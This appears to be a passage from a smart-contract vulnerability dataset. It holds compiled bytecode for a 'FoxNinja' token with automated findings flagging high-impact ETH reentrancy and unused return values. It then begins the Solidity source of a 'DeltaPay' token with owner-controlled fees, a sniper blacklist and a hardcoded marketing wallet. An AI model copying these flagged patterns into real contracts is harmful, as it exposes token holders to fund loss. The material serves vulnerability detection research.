080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600881526020017f466f784e696e6a61000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b60006706f05b59d3b20000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b6109606064610952836706f05b59d3b20000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b6706f05b59d3b20000600f819055506706f05b59d3b20000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f466f784e696e6a61000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a836706f05b59d3b20000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166706f05b59d3b200006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550662386f26fc10000600f8190555066354a6ba7a180006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a81905550600a600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a81905550600a600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b6000806000600854905060006706f05b59d3b2000090506123296706f05b59d3b20000600854611cef90919063ffffffff16565b821015612347576008546706f05b59d3b20000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c899906f9c653b4d6746954a0b420c8628fe668918fb9104b703f6cbc503fd964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,237 |
0x8b91064b41ff4bed06e2d1456e76c701cd382aff
|
/*
/$$$$$$$ /$$ /$$ /$$$$$$$
| $$__ $$ | $$ | $$ | $$__ $$
| $$ \ $$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$| $$|_ $$_/ |____ $$| $$$$$$$/|____ $$| $$ | $$
| $$ | $$| $$$$$$$$| $$ | $$ /$$$$$$$| $$____/ /$$$$$$$| $$ | $$
| $$ | $$| $$_____/| $$ | $$ /$$ /$$__ $$| $$ /$$__ $$| $$ | $$
| $$$$$$$/| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$$| $$$$$$$
|_______/ \_______/|__/ \___/ \_______/|__/ \_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
Telegram:
https://t.me/deltapay
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xf4Cdb03Fa34027152a72626d75f41758F98E6540);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 30 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 1e8 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e7 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
